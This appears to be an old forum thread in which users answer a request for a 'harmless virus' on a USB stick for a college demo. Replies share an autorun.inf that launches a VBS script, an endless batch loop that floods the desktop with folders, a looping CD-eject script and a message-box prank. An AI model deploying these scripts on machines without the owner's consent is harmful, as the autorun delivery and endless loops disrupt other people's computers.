Playful / Harmless Funny Virus ??
can any body give me instructions how to write a harmless virus, that I can put on a USB stick that will auto play when inserted into a windows machine? I want it to use in a demonstration at college, anything will do something funny like a pop up or opens loads of windows… I’ve seen Batch files that do this sort of thing but I don’t know how to make it auto run.. any suggestions, ideas welcome :)
You can set the computer you plan to use this fake virus on to auto execute a file on a usb stick, google will have the answer
“You don’t have enough space in your inventory”
JAYSSJ11- “I’d rather be hated for who I am, than loved for who I am not.”
11 years ago | edited 11 years ago
0
Hi iluvz2sp00ge,
Create an autorun.inf file. The contents are below of the inf file. You can also give it an icon and a label but those are optional. You can use notepad to create this file and then put both the file autorun.inf and the vbs file in the flash drive and when you plug it in it automatically run the vbs file. Hope this helps.
[Autorun]
OPEN=filename.vbs
ICON=Icon.ico
LABEL=Label_Here
Try this ! its harmless . It’ll just create many folders on your desktop !!
[@echo](/profile/echo) off
:hell
md % random %
goto hell
and ofcourse its a .bat file so you know wat to do !!
- @IAmDevil
Its good to be back! :D
did this one at school for a lesson Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
it will open the DVD drive randomly
x=msgbox(“Text”,Buttons,“Title”)
Buttons
0: Normal message box
1: OK and Cancel
2: Abort, Retry, Ignore
3: Yes, No, Cancel
4: Yes and No
5: Retry and Cancel
16: Critical message icon
32: Warning query icon
48: Warning message icon
64: Information message icon
So the code will look something like this.
x=msgbox("PEBKAC - Problem Exists Between Keyboard And Chair",2,"PEBKAC - ERROR")
save it as filename.vbs
And then to make it autorun make an autorun.inf which like @tlotr said goes like this.
[Autorun]
OPEN=filename.vbs
ICON=Icon.ico
LABEL=Label_Here
Off topic but look MS-DOS http://www.wired.com/design/2013/10/15-awesome-looking-viruses-from-the-ms-dos-era/